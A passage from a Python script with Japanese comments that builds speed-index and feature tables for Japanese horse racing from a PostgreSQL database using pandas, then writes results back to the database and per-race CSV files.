pd.read_sql(sql11, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_2race = pd.read_sql(sql12, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_3uma = pd.read_sql(sql13, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_3race = pd.read_sql(sql14, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_4uma = pd.read_sql(sql15, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_4race = pd.read_sql(sql16, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_5uma = pd.read_sql(sql17, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_5race = pd.read_sql(sql18, conn)#sql:実行したいsql,conn:対象のdb名\n# 特徴量作成用データ\n# data_sakuseiyou = pd.read_sql(sql19, conn)#sql:実行したいsql,conn:対象のdb名\ntokutyo_moto = pd.read_sql(sql20, conn) # sql:実行したいsql,conn:対象のdb名\n# 特徴量データ\nakisyu_box_tanharai = pd.read_sql(sql21, conn) # sql:実行したいsql,conn:対象のdb名\nakisyu_box_fukuharai = pd.read_sql(sql22, conn) # sql:実行したいsql,conn:対象のdb名\nakisyu_box_syouritu = pd.read_sql(sql23, conn) # sql:実行したいsql,conn:対象のdb名\nakisyu_box_fukuritu = pd.read_sql(sql24, conn) # sql:実行したいsql,conn:対象のdb名\nachokyo_box_tanharai = pd.read_sql(sql25, conn) # sql:実行したいsql,conn:対象のdb名\nachokyo_box_fukuharai = pd.read_sql(sql26, conn) # sql:実行したいsql,conn:対象のdb名\nachokyo_box_syouritu = pd.read_sql(sql27, conn) # sql:実行したいsql,conn:対象のdb名\nachokyo_box_fukuritu = pd.read_sql(sql28, conn) # sql:実行したいsql,conn:対象のdb名\nabanu_box_tanharai = pd.read_sql(sql29, conn) # sql:実行したいsql,conn:対象のdb名\nabanu_box_fukuharai = pd.read_sql(sql30, conn) # sql:実行したいsql,conn:対象のdb名\nabanu_box_syouritu = pd.read_sql(sql31, conn) # sql:実行したいsql,conn:対象のdb名\nabanu_box_fukuritu = pd.read_sql(sql32, conn) # sql:実行したいsql,conn:対象のdb名\nasyu_box_tanharai = pd.read_sql(sql33, conn) # sql:実行したいsql,conn:対象のdb名\nasyu_box_fukuharai = pd.read_sql(sql34, conn) # sql:実行したいsql,conn:対象のdb名\nasyu_box_syouritu = pd.read_sql(sql35, conn) # sql:実行したいsql,conn:対象のdb名\nasyu_box_fukuritu = pd.read_sql(sql36, conn) # sql:実行したいsql,conn:対象のdb名\nat_kisyu_sample = pd.read_sql(sql37, conn) # sql:実行したいsql,conn:対象のdb名\nat_chokyo_sample = pd.read_sql(sql38, conn) # sql:実行したいsql,conn:対象のdb名\nat_banu_sample = pd.read_sql(sql39, conn) # sql:実行したいsql,conn:対象のdb名\nat_syu_sample = pd.read_sql(sql40, conn) # sql:実行したいsql,conn:対象のdb名\nat_kisyu_main = pd.read_sql(sql41, conn) # sql:実行したいsql,conn:対象のdb名\nat_chokyo_main = pd.read_sql(sql42, conn) # sql:実行したいsql,conn:対象のdb名\nat_banu_main = pd.read_sql(sql43, conn) # sql:実行したいsql,conn:対象のdb名\nat_syu_main = pd.read_sql(sql44, conn) # sql:実行したいsql,conn:対象のdb名\n# スピード指数作成用データ\na_time = pd.read_sql(sql45, conn)#sql:実行したいsql,conn:対象のdb名\n# スピード指数データ\nspped_from_db= pd.read_sql(sql46, conn)#sql:実行したいsql,conn:対象のdb名\n# -------------実行ここまで\n# pandasからpostgreにデータを出力\nENGINE = create_engine(CONNECT_STR) # postgreは指定しなきゃいけない\n# -------------実行ここまで\n# test1().to_sql(\"test_uma\", ENGINE,if_exists='replace',index=False)#postgreに出力 df2の内容をtestテーブルとして出力 存在してたらreplace\n# test2().to_sql(\"test_uma_race\", ENGINE,if_exists='replace',index=False)#postgreに出力 df2の内容をtestテーブルとして出力 存在してたらreplace\n# test3().to_sql(\"test_harai\", ENGINE,if_exists='replace',index=False)#postgreに出力 df2の内容をtestテーブルとして出力 存在してたらreplace\n# cre_data.to_sql(\"Input_Data\", ENGINE,if_exists='replace',index=False)#postgreに出力 df2の内容をtestテーブルとして出力 存在してたらreplace\n# -------------実行ここまで\ncursor.close() # データベースの操作を終了する\nconn.commit() # 変更をデータベースに保存\nconn.close() # データベースを閉じる\n# endregion\n\n# region speed_generator_moto_0:スピード指数作成のための元データを作成してDBに出力するスクリプト OK\n# ⓪騎手・調教師・血統・馬主・生産者ごとの勝率・複勝率・単勝回収率・回収率などの特徴量を作成\n# uma_raceから必要な馬の情報の取り出す\nimport numpy as np\nmatome_data = n_uma_race.loc[:,['year', 'monthday', 'jyocd', 'kaiji', 'nichiji', 'racenum', 'bamei', 'futan', 'time', 'kakuteijyuni']]\nmatome_data['ID'] = n_uma_race['year'] + n_uma_race['monthday'] + n_uma_race['jyocd'] + n_uma_race['kaiji'] +n_uma_race['nichiji'] + n_uma_race['racenum'] # レースIDの作成\n# raceから必要なレースの情報の取り出す\nmatomerare_race = n_race.loc[:,['year', 'monthday', 'jyocd', 'kaiji', 'nichiji', 'racenum', 'gradecd', 'syubetucd', 'jyokencd1','jyokencd2', 'jyokencd3', 'jyokencd4',\n'jyokencd5', 'kyori', 'trackcd', 'tenkocd', 'sibababacd', 'dirtbabacd', 'kigocd']]\nmatomerare_race['ID'] = n_race['year'] + n_race['monthday'] + n_race['jyocd'] + n_race['kaiji'] + n_race['nichiji'] +n_race['racenum'] # レースIDの作成\n# レースIDをlistにして検索しやすいようにする\nmatome_data_list = list(matome_data['ID']) # レースIDをlistで取得\nmatomerare_race_list = list(matomerare_race['ID']) # レースIDをlistで取得\n# 準備 必要なものだけlist化\ngradecd_list = list(matomerare_race['gradecd'])\nsyubetu_list = list(matomerare_race['syubetucd'])\njyokencd1_list = list(matomerare_race['jyokencd1'])\njyokencd2_list = list(matomerare_race['jyokencd2'])\njyokencd3_list = list(matomerare_race['jyokencd3'])\njyokencd4_list = list(matomerare_race['jyokencd4'])\njyokencd5_list = list(matomerare_race['jyokencd5'])\nkyori_list = list(matomerare_race['kyori'])\ntrackcd_list = list(matomerare_race['trackcd'])\ntenkocd_list = list(matomerare_race['tenkocd'])\nsibababacd_list = list(matomerare_race['sibababacd'])\ndirtbabacd_list = list(matomerare_race['dirtbabacd'])\nkigocd_list = list(matomerare_race['kigocd'])\n\n# 行番号を探す関数\ndef my_index(l, x, default=np.nan):\n if x in l:\n return l.index(x) # 一致するデータがあるときはindexを返す\n else:\n return default # ないときはNaNを返す\n\n# データはlistに入れて高速化\na_gradecd, a_syubetu, a_jyokencd1, a_jyokencd2, a_jyokencd3, a_jyokencd4, a_jyokencd5, a_kyori, a_trackcd, a_tenkocd, a_sibababacd, a_dirtbabacd, a_kigocd = [], [], [], [], [], [], [], [], [], [], [], [], []\n# for文でデータを抽出\nfor i in range(len(matome_data)):\n if i % 100000 == 0:\n print(i)\n idx = my_index(matomerare_race_list, matome_data_list[i]) # 行番号を取得\n # レースID\n if np.isnan(idx): # NaNならTrue\n moji_str0a = np.nan\n moji_str1a = np.nan\n moji_str1b = np.nan\n moji_str1c = np.nan\n moji_str1d = np.nan\n moji_str1e = np.nan\n moji_str1f = np.nan\n moji_str1g = np.nan\n moji_str1h = np.nan\n moji_str1i = np.nan\n moji_str1j = np.nan\n moji_str1k = np.nan\n moji_str1l = np.nan\n else:\n moji_str0a = gradecd_list[idx]\n moji_str1a = syubetu_list[idx]\n moji_str1b = jyokencd1_list[idx]\n moji_str1c = jyokencd2_list[idx]\n moji_str1d = jyokencd3_list[idx]\n moji_str1e = jyokencd4_list[idx]\n moji_str1f = jyokencd5_list[idx]\n moji_str1g = kyori_list[idx]\n moji_str1h = trackcd_list[idx]\n moji_str1i = tenkocd_list[idx]\n moji_str1j = sibababacd_list[idx]\n moji_str1k = dirtbabacd_list[idx]\n moji_str1l = kigocd_list[idx]\n\n # データをどういれるか\n a_gradecd += [moji_str0a]\n a_syubetu += [moji_str1a]\n a_jyokencd1 += [moji_str1b]\n a_jyokencd2 += [moji_str1c]\n a_jyokencd3 += [moji_str1d]\n a_jyokencd4 += [moji_str1e]\n a_jyokencd5 += [moji_str1f]\n a_kyori += [moji_str1g]\n a_trackcd += [moji_str1h]\n a_tenkocd += [moji_str1i]\n a_sibababacd += [moji_str1j]\n a_dirtbabacd += [moji_str1k]\n a_kigocd += [moji_str1l]\n\n# データの結合\nmerge = pd.DataFrame(\n data={'gradecd': a_gradecd, 'syubetu': a_syubetu, 'jyokencd1': a_jyokencd1, 'jyokencd2': a_jyokencd2,\n 'jyokencd3': a_jyokencd3,'jyokencd4': a_jyokencd4, 'jyokencd5': a_jyokencd5, 'kyori': a_kyori, 'trackcd': a_trackcd,\n 'tenkocd': a_tenkocd, 'sibababacd': a_sibababacd,'dirtbabacd': a_dirtbabacd, 'kigocd': a_kigocd},\n columns=['gradecd', 'syubetu', 'jyokencd1', 'jyokencd2', 'jyokencd3', 'jyokencd4', 'jyokencd5', 'kyori', 'trackcd',\n 'tenkocd', 'sibababacd', 'dirtbabacd', 'dirtbabacd', 'kigocd'])\nsaigo = pd.concat([matome_data, merge], axis=1)\n# データpostgreへ\ncre_data_1 = saigo.reset_index() # indexを与える\nconn = psycopg2.connect(\" user=\" + USER + \" dbname=\" + DB_NAME + \" password=\" + PASSWORD) # データベースを開く\ncursor = conn.cursor() # データベースを操作できるようにする\ncre_data_1.to_sql(\"a_time\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\n# -------------実行ここまで\ncursor.close() # データベースの操作を終了する\nconn.commit() # 変更をデータベースに保存\nconn.close() # データベースを閉じる\n# endregion\n\n# region speed_generator_1:スピード指数を作成してDBに格納するスクリプト Wall time: 1h 17min 3s OK\n# ⓪データの前処理\n# csv読み込み データ準備\n# 距離書いただけのやつ読み込み 競馬場にどんな距離あるか示したもの 2010-2020で開催された距離のみ記載\ndf_siba_1 = pd.read_csv('スピード指数 - 芝の距離書いただけのやつ.csv')\ndf_dirt_1 = pd.read_csv('スピード指数 - ダートの距離書いただけのやつ.csv')\n# クラス指数 1勝クラス,2勝クラスとかで実力差を補正する指数\nclass_1 = pd.read_csv('スピード指数 - クラス指数 - 簡易.csv') # TODO 改善 クラスの差があまりでなくなってしまっている\nclass3_1 = pd.read_csv('スピード指数 - クラス指数3歳 - 簡易.csv') # TODO 改善\n# 距離指数 距離ごとに補正する指数 これは使っておらず自前で算出している\n# kyori_1=pd.read_csv('スピード指数 - 距離指数.csv')#https://team-d.club/about-speed-index/ このブログの距離指数を拝借したが使っていない。自分で算出したの使ってるがよいか再確認。\n\n# データの前処理 スピード指数の元となるtableを前処理\nspeed_data = a_time.copy() # defaultはtrue copyにしないと参照渡しになって元データから変更になってしまう\nspeed_data = speed_data.replace('', np.nan) # 空をnanに置き換え\nspeed_data['hiniti'] = speed_data['year'] + speed_data['monthday'] # 日にちデータの追加\n\n# 斤量を585⇒58.5みたいに直す\ndef futan_henkan(x):\n return float(x[0:2] + '.' + x[2])\n\n# 走破時計を4桁の数字⇒秒になおす\ndef henkan(x):\n if x[0] == '0':\n return float(x[1:3] + '.' + x[3])\n else:\n return 60 * int(x[0]) + float(x[1:3] + '.' + x[3])\n\nspeed_data['futan_siyou'] = speed_data['futan'].apply(futan_henkan)\nspeed_data['sectime'] = speed_data['time'].apply(henkan)\nspeed_data['sectime'] = speed_data['sectime'].replace(0, np.nan) # 走破時計0をNaNに置き換え\nspeed_data['year'] = pd.to_numeric(speed_data[\"year\"], errors='coerce') # numericに型変換しつつ欠測があったらnanで埋める\nspeed_data['kyori'] = pd.to_numeric(speed_data[\"kyori\"], errors='coerce') # numericに型変換しつつ欠測があったらnanで埋める\nspeed_data['jyocd'] = pd.to_numeric(speed_data[\"jyocd\"], errors='coerce') # numericに型変換しつつ欠測があったらnanで埋める\nspeed_data = speed_data[speed_data['year'] >= 2010] # 2010年~のデータを抽出、バグデータの取り除き 892060 ⇒825827\n\n# ①基準タイムと距離指数の算出\n# 上記を算出するために天気:晴/曇り,馬場:良/稍,着順1~3着,条件:1~3勝クラス天気晴れのみのデータを抽出 825827⇒43429(36426 良だけだと)\nspeed_data_hare = speed_data[((speed_data['tenkocd'] == '1') | (speed_data['tenkocd'] == '2'))& ((speed_data['sibababacd'] == '1') | (speed_data['dirtbabacd'] == '1') | (\nspeed_data['sibababacd'] == '2') | (speed_data['dirtbabacd'] == '2'))& ((speed_data['kakuteijyuni'] == '01') | (speed_data['kakuteijyuni'] == '02') | (speed_data['kakuteijyuni'] == '03'))\n& ((speed_data['jyokencd5'] == '005') | (speed_data['jyokencd5'] == '010') | (speed_data['jyokencd5'] == '016'))]\n# 基準タイムと距離指数を格納する箱を作成 11年分を各年ごとに算出 芝72個、ダート56個\nkijyun_siba = [[] for torima in range(11)] # 基準タイム用 芝\nkijyun_dirt = [[] for torima in range(11)] # 基準タイム用 ダート\nkyori_siba = [[] for torima in range(11)] # 距離指数用 芝\nkyori_dirt = [[] for torima in range(11)] # 距離指数用 ダート\ncount = 0 # 年度をカウントする用\n# for文で11年分の基準タイムと距離指数を作成していく 2010年分は作成できない,2011年~\nfor i in range(11): # 2011-2021 11year 去年までの過去3年のデータを使用しデータを作成 元データは2010~2021の12年分\n year = 2011 + i # i:0-10で2011~2021年の11年分\n df_siba = df_siba_1.copy() # 基準タイム芝用の元データをコピー\n df_dirt = df_dirt_1.copy() # 基準タイムダート用の元データをコピー\n df_siba_kyori = df_siba_1.copy() # 距離指数芝用の元データをコピー\n df_dirt_kyori = df_dirt_1.copy() # 距離指数ダート用の元データをコピー\n # 過去の使用データについて年度ごとに場合分けを行う\n if year >= 2013: # 2013年~は3年分の過去データを使用可能 2013年なら2010,2011,2012年の3年\n hajime = year - 3\n elif year == 2011: # 2011年は2010年のみ\n hajime = year - 1\n else: # 2012年は2010,2011年のみ\n hajime = year - 2\n # 競馬場ごとに基準タイムと距離指数を作成していく\n for j in range(1, 11): # 競馬場コード 1-10\n for k in range(len(df_siba)): # lenは行の大きさを取得 芝について基準タイムと距離指数を作成\n siba_kyori = df_siba.iloc[k, j - 1] # 値を取得 対象のコースでの距離の値が格納される\n # 対象の距離,競馬場,集計年度の始まりの年,終わりの年より小さいデータを抽出2013なら2012\n syukei = speed_data_hare[(speed_data_hare['kyori'] == siba_kyori) & (speed_data_hare['jyocd'] == j) & (hajime <= speed_data_hare['year']) & (speed_data_hare['year'] < year)]\n df_siba.iloc[k, j - 1] = round(np.nanmean(syukei['sectime']), 1) # 条件に一致した走破時計を平均して,df_sibaに格納する 基準タイムが求まった\n df_siba_kyori.iloc[k, j - 1] = round(1 / (10 * np.nanmean(syukei['sectime'])) * 1000,2) # 距離指数を算出 ×10することで妥当になる 距離指数=1/基準タイム ここ妥当かなぞ\n for k in range(len(df_dirt)): # lenは行の大きさを取得 ダートについて基準タイムと距離指数を作成\n dirt_kyori = df_dirt.iloc[k, j - 1] # 値を取得 対象のコースでの距離の値が格納される\n # 対象の距離,競馬場,集計年度の始まりの年,終わりの年より小さいデータを抽出2013なら2012\n syukei = speed_data_hare[(speed_data_hare['kyori'] == dirt_kyori) & (speed_data_hare['jyocd'] == j) & (hajime <= speed_data_hare['year']) & (speed_data_hare['year'] < year)]\n df_dirt.iloc[k, j - 1] = round(np.nanmean(syukei['sectime']), 1) # 条件に一致した走破時計を平均して,df_sibaに格納する 基準タイムが求まった\n df_dirt_kyori.iloc[k, j - 1] = round(1 / (10 * np.nanmean(syukei['sectime'])) * 1000,2) # 距離指数を算出 ×10することで妥当になる 距離指数=1/基準タイム ここ妥当かなぞ\n # 年ごとに基準タイムを格納\n kijyun_siba[count] = df_siba # 0に2011年のデータが入る(2010年のデータで作成したもの)。2011年のスピード指数算出したいときはこの基準タイムを使用する\n kijyun_dirt[count] = df_dirt # 1に2012年のデータが入る(2010年~2011年のデータで作成したもの)\n # 年ごとに距離指数\n kyori_siba[count] = df_siba_kyori # 2に2013年のデータが入る(2010年~2012念のデータで作成したもの)\n kyori_dirt[count] = df_dirt_kyori # 3に2014年のデータが入る(2011年~2013年のデータで作成したもの)\n count += 1\n\n# ②-①馬場指数の算出 日にち分発生する 距離が過去にないものだとエラーでる,中京芝3000とか\nsisuu_data = speed_data[speed_data['year'] >= 2011] # 指数を出せるのは2011年のデータから。基準と距離指数が2011年分~しかないため。\nhiniti_data = sisuu_data['hiniti'].unique() # 開催日時を取り出す\nspped_data_kakunou = [] # スピード指数格納用 芝\nindex_kakunou = [] # スピード指数index格納用 ダート\nbaba_kakunou_siba = [] # 芝馬場指数確認用\nbaba_kakunou_dirt = [] # ダート馬場指数確認用\nfor i in range(len(hiniti_data)): # 開催日時ごとに指数を算出 開催日時でfor 10年で3369開催日あった i=2453で不良の秋天。\n siba_baba_hako = [] # 馬場指数格納用 芝\n dirt_baba_hako = [] # 馬場指数格納用 ダート\n hiniti_1 = hiniti_data[i] # 日にちを1日取り出してその日の馬場指数を算出\n baba_index = sisuu_data[sisuu_data['hiniti'] == hiniti_1] # 対象の日に行われたレースだけ抽出\n speed_index_moto = baba_index.copy() # スピード指数作成用元データ defaultはtrue copyにしないと参照渡しになって元データから変更になってしまう\n # 馬場指数用\n baba_index = baba_index[((baba_index['kakuteijyuni'] == '01') | (baba_index['kakuteijyuni'] == '02') | (baba_index['kakuteijyuni'] == '03'))\n & ((baba_index['jyokencd5'] == '703') | (baba_index['jyokencd5'] == '005') | (baba_index['jyokencd5'] == '010') | (baba_index['jyokencd5'] == '016') | (\n baba_index['jyokencd5'] == '999'))& ((baba_index['syubetu'] == '13') | (baba_index['syubetu'] == '14'))] # 1~3着、未勝利~オープン、3・4歳上のレースを選択 3歳戦は削除\n # スピード指数用\n speed_index_moto = speed_index_moto[((speed_index_moto['syubetu'] == '11') | (speed_index_moto['syubetu'] == '12') | (speed_index_moto['syubetu'] == '13') |\n (speed_index_moto['syubetu'] == '14'))& ((speed_index_moto['jyocd'] <= 10) & (speed_index_moto['jyocd'] > 0))] # 中央の競馬で障害は除く\n jyo_data = baba_index['jyocd'].unique() # 当日開催された競馬場コードを抽出 ★\n for j in range(len(jyo_data)): # まずは競馬場を指定 ★\n jyo_data_1 = jyo_data[j] # 競馬場コードを抽出\n baba_index_0 = baba_index[baba_index['jyocd'] == jyo_data_1] # 競馬場コードが一致する行を抽出 馬場指数用\n speed_index_moto_0 = speed_index_moto[speed_index_moto['jyocd'] == jyo_data_1] ##競馬場コードが一致する行を抽出 スピード指数用\n ID_data = baba_index_0['ID'].unique() # 上記の条件を満たすレースIDを抽出\n for k in range(len(ID_data)): # レースIDの数 その日の対象競馬場のレースIDでfor\n ID_1 = ID_data[k] # レースIDを抽出\n baba_index_1 = baba_index_0[baba_index_0['ID'] == ID_1] # 対象の馬だけ取得 1~3着\n # 海外のレースID引っ張ると型変換エラーでるからtry-except文\n try:\n # 馬場指数の計算に必要な開催場所、距離、クラス、年度,芝orダ,何歳上,グレードの7つを抽出する 検索用に型変換もする str->int\n kaisai_d = int(baba_index_1['jyocd'].unique()) # 開催場所\n kyori_d = int(baba_index_1['kyori'].unique()) # 距離\n class_d = int(baba_index_1['jyokencd5'].unique()) # クラス\n nendo_d = int(baba_index_1['year'].unique()) # 年度\n sibadirt_d = int(baba_index_1['sibababacd'].unique()) # 芝(sibadirt_d=1)orダ(sibadirt_d=0)\n nansaiue_d = int(baba_index_1['syubetu'].unique()) # 何歳上\n grade_d = (baba_index_1['gradecd'].unique())[0] # G3/G2/G1とか\n except ValueError:\n pass\n else: # 例外が発生しなかった場合の処理\n # 上記の条件を使って,まずは馬場指数用基準タイム(= 基準タイム - (クラス指数 × 距離指数))を作成\n # 基準タイム編 配列の何行目に位置するか取得 対象年度の対象競馬場の対象距離と芝/ダで決まる\n # 列番号検索用\n kijyun_d = kijyun_siba if sibadirt_d >= 1 else kijyun_dirt # 芝かダートか判定して,その条件での基準タイムを取得\n kijyun_d = kijyun_d[nendo_d - 2011] # 対象年度のデータを抽出\n # 行番号検索用\n index_d = df_siba_1.iloc[:, kaisai_d - 1] if sibadirt_d >= 1 else df_dirt_1.iloc[:,kaisai_d - 1] # まずは一致する開催場所列を抽出\n index_d = np.where(index_d == kyori_d) # 一致する行番号を取得⇒どこの開催場所でどの距離かが分かり,行列番号がわかった。\n kijyun_time = kijyun_d.iloc[index_d[0][0], kaisai_d - 1] # 基準タイム取り出し完了\n # クラス指数編 配列の何行目に位置するか取得\n class_index = class3_1 if nansaiue_d == 12 else class_1 # まずは3歳戦か3歳上のどちらのクラス指数使うか決める\n # クラス条件をもとに行の取り出し\n if class_d == 703: # 未勝利\n class_dd = class_index.iloc[0, 1]\n elif class_d == 5: # 1勝クラス\n class_dd = class_index.iloc[1, 1]\n elif class_d == 10: # 2勝クラス\n class_dd = class_index.iloc[2, 1]\n elif class_d == 16: # 3勝クラス\n class_dd = class_index.iloc[3, 1]\n elif grade_d == 'B' or grade_d == 'C': # G3/G2クラス\n class_dd = class_index.iloc[5, 1]\n elif grade_d == 'A': # G1\n class_dd = class_index.iloc[6, 1]\n else: # OPクラス グレードのない重賞もここに入る\n class_dd = class_index.iloc[4, 1]\n # 距離指数編 配列の何行目に位置するか取得\n kijyun_kyori = kyori_siba if sibadirt_d >= 1 else kyori_dirt # 芝かダートか判定して,その条件での距離指数を取得\n kijyun_kyori = kijyun_kyori[nendo_d - 2011] # 対象年度のデータを抽出\n kyori_index = kijyun_kyori.iloc[index_d[0][0], kaisai_d - 1] # 距離指数取り出し完了\n # 馬場指数用基準タイムの算出 馬場指数用基準タイム = 基準タイム - (クラス指数 × 距離指数)\n baba_kijyun = kijyun_time - (class_dd * kyori_index) / 10 # ここダメだったので修正。指数=10*タイムなので10で割る。\n # 暫定馬場指数=(馬場指数用基準タイム-該当レース上位3頭の平均タイム)× 距離指数。ここも修正。指数=10*タイムなので10倍して単位を合わせる。\n baba_zantei = (10 * (np.nanmean(baba_index_1['sectime'])) - 10 * baba_kijyun) * kyori_index # 平均ー基準に変更 ★\n # 芝/ダで分けてデータを格納\n siba_baba_hako.append(baba_zantei) if sibadirt_d >= 1 else dirt_baba_hako.append(baba_zantei) # 芝かダートか判定して,その条件での暫定馬場指数格納\n # その日の馬場指数算出\n baba_siba = np.nanmean(siba_baba_hako) # 対象日の馬場指数芝\n baba_dirt = np.nanmean(dirt_baba_hako) # 対象日の馬場指数ダート\n baba_kakunou_siba += [baba_siba] # 馬場指数芝 確認用\n baba_kakunou_dirt += [baba_dirt] # 馬場指数ダート 確認用\n\n # ②-②続けてスピード指数を算出\n for l in range(len(speed_index_moto_0)): # 当日の全レースに対してスピード指数を算出\n spped_uma = pd.DataFrame(speed_index_moto_0.iloc[l, :]).T # 一行ずつ馬データを処理 なぜか転置されて出てくるから再転置する\n # 海外のレースID引っ張ると型変換エラーでるからtry-except文\n if (spped_uma['time'] != '0000').any(): # データバグ対策\n try:\n # 馬場指数の計算に必要な開催場所、距離、クラス、年度,芝orダ,何歳上,グレードの7つを抽出する 検索用に型変換もする str->int\n kaisai_d = int(spped_uma['jyocd']) # 開催場所\n kyori_d = int(spped_uma['kyori']) # 距離\n nendo_d = int(spped_uma['year']) # 年度\n sibadirt_d = int(spped_uma['sibababacd']) # 芝(sibadirt_d=1)orダ(sibadirt_d=0)\n futan = float(spped_uma['futan_siyou']) # 斤量\n pd_index = int(spped_uma['index']) # 斤量\n except ValueError:\n pass\n else: # 例外が発生しなかった場合の処理\n # 上記の条件を使って,まずは馬場指数用基準タイム(= 基準タイム - (クラス指数 × 距離指数))を作成\n # 基準タイム編 配列の何行目に位置するか取得 対象年度の対象競馬場の対象距離と芝/ダで決まる\n # 列番号検索用\n kijyun_d = kijyun_siba if sibadirt_d >= 1 else kijyun_dirt # 芝かダートか判定して,その条件での基準タイムを取得\n kijyun_d = kijyun_d[nendo_d - 2011] # 対象年度のデータを抽出\n # 行番号検索用\n index_d = df_siba_1.iloc[:, kaisai_d - 1] if sibadirt_d >= 1 else df_dirt_1.iloc[:,kaisai_d - 1] # まずは一致する開催場所列を抽出\n index_d = np.where(index_d == kyori_d) # 一致する行番号を取得⇒どこの開催場所でどの距離かが分かり,行列番号がわかった。\n kijyun_time = kijyun_d.iloc[index_d[0][0], kaisai_d - 1] # 基準タイム取り出し完了\n # クラス指数編 配列の何行目に位置するか取得\n # 距離指数編 配列の何行目に位置するか取得\n kijyun_kyori = kyori_siba if sibadirt_d >= 1 else kyori_dirt # 芝かダートか判定して,その条件での距離指数を取得\n kijyun_kyori = kijyun_kyori[nendo_d - 2011] # 対象年度のデータを抽出\n kyori_index = kijyun_kyori.iloc[index_d[0][0], kaisai_d - 1] # 距離指数取り出し完了\n # 馬場指数どっち使うか判定\n baba_siyou = baba_siba if sibadirt_d >= 1 else baba_dirt # 芝かダートか判定して,その条件での基準タイムを取得\n # スピード指数を計算\n speed_index = (10 * kijyun_time - 10 * float(spped_uma['sectime'].unique())) * kyori_index + baba_siyou + (futan - 55) * 2 + 80\n # speed_index_moto.loc[pd_index,'speed_idx']=round(speed_index,1)#データを格納\n # a_time1.loc[pd_index,'speed_idx']=round(speed_index,1)#データを格納\n spped_data_kakunou += [round(speed_index, 1)] # indexを格納 あとでまとめて追加する\n index_kakunou += [pd_index] # スピード指数を格納 あとでまとめて追加する\n else:\n pass\n # ilocは列名の指定できないけど行番号の指定が取り出したものの何番目の行という考えかtら。,locは指定できるけど行番号の指定がそいつがもともと持っている行番号になる。\n\n# ③スピード指数格納 時間すごいかかる 1時間くらい\nfor i in range(len(spped_data_kakunou)):\n a_time.loc[index_kakunou[i], 'speed_idx'] = spped_data_kakunou[i]\n if i % 10000 == 0:\n print(i)\n# ④DBへ出力\n# データpostgreへ\nconn = psycopg2.connect(\" user=\" + USER + \" dbname=\" + DB_NAME + \" password=\" + PASSWORD) # データベースを開く\ncursor = conn.cursor() # データベースを操作できるようにする\na_time.to_sql(\"speed_index\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\n# -------------実行ここまで\ncursor.close() # データベースの操作を終了する\nconn.commit() # 変更をデータベースに保存\nconn.close() # データベースを閉じる\n# endregion\n\n# region speed_index_output:対象日のレースの馬のスピード指数を出力するスクリプト OK\n# speed_index_output:対象日のレースの馬のスピード指数を出力するスクリプト\nimport os # フォルダ作成用\n\n# データのindex整理\nspped_from_db = spped_from_db.sort_values('index') # indexがおかしいので,昇順で並べ替え\nspped_from_db1 = spped_from_db.reset_index(drop=True) # 一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\n# レースIDと日にちを作成する\nspped_from_db1['netID'] = spped_from_db1['year'] + spped_from_db1['jyocd'] + spped_from_db1['kaiji'] + spped_from_db1['nichiji'] + spped_from_db1['racenum'] # レースIDの作成\nspped_from_db1['hiniti'] = spped_from_db1['year'] + spped_from_db1['monthday'] # 日にち検索用\n# 対象日を選択する\nraceDAY = spped_from_db1['hiniti'].unique() # 当日開催されたレースを抽出\ninput_kensakuDAY = '20210111' # 検索したい日にちを指定\nspped_from_db2 = spped_from_db1[spped_from_db1['hiniti'] == input_kensakuDAY] # ほしいレースだけ取り出し\nallnetID = spped_from_db2['netID'].unique() # 当日のレースIDを取り出し\n# 対象日の全レースについてcsv作成\nfor i in range(len(allnetID)): # 全レース指数取り出し\n motopandas = spped_from_db2[1:1] # moto\n allnetID_1 = allnetID[i] # ID\n spped_from_db3 = spped_from_db2[spped_from_db2['netID'] == allnetID_1] # ほしいレースだけ取り出し\n name = spped_from_db3['bamei'].unique() # 当日開催された競馬場コードを抽出 ★\n for j in range(len(name)): # 全馬に対して指数を取り出す\n name_1 = name[j] # 馬名\n umadata = spped_from_db1[spped_from_db1['bamei'] == name_1] # レース取り出し\n tasu = umadata.tail(5) # 5走分\n motopandas = pd.concat([motopandas, tasu], axis=0) # 結合\n # データをcsvで出力\n motopandas = motopandas.drop(\n ['year', 'monthday', 'index', 'kaiji', 'nichiji', 'ID', 'gradecd', 'syubetu', 'jyokencd1', 'jyokencd2',\n 'jyokencd3',\n 'jyokencd4', 'jyokencd5', 'trackcd', 'tenkocd', 'kigocd'], axis=1) # いらん列削除\n motopandas = motopandas[motopandas['hiniti'] != input_kensakuDAY] # 当日はデータないので削除\n kensakuID = ((umadata.tail(1)['year']).unique() + (umadata.tail(1)['monthday']).unique() + (\n umadata.tail(1)['jyocd']).unique() + (umadata.tail(1)['racenum']).unique())[0]\n # 日にちでフォルダ作成\n new_path = 'speed_hozon\\{}'.format(input_kensakuDAY)\n if not os.path.exists(new_path): # ディレクトリがなかったら\n os.mkdir(new_path) # 作成したいフォルダ名を作成\n # csv出力\n hozonsaki = new_path + '\\{}.csv'.format(kensakuID)\n motopandas.to_csv(hozonsaki, encoding='utf_8_sig', index=False)\n# endregion\n\n# region tokutyou_generator_moto_0:特徴量作成のために,払い戻しなども含めた元データを作成するスクリプトWall time: 3h 13min 38s\n# tokutyou_generator_moto_0:特徴量作成のために,払い戻しなども含めた元データを作成するスクリプト\n# ⓪騎手・調教師・血統・馬主・生産者ごとの勝率・複勝率・単勝回収率・回収率などの特徴量を作成\n# まとめて\n# uma_raceから必要な馬の情報の取り出す\nmatome_data = n_uma_race.loc[:,['year', 'monthday', 'jyocd', 'kaiji', 'nichiji', 'racenum', 'umaban', 'bamei', 'chokyosiryakusyo','banusiname', 'kisyuryakusyo', 'kakuteijyuni', 'odds']]\nmatome_data['ID'] = n_uma_race['year'] + n_uma_race['monthday'] + n_uma_race['jyocd'] + n_uma_race['kaiji'] + n_uma_race['nichiji'] + n_uma_race['racenum'] # レースIDの作成\n# raceから必要なレースの情報の取り出す\nmatomerare_race = n_race.loc[:,['year', 'monthday', 'jyocd', 'kaiji', 'nichiji', 'racenum', 'kyori', 'trackcd', 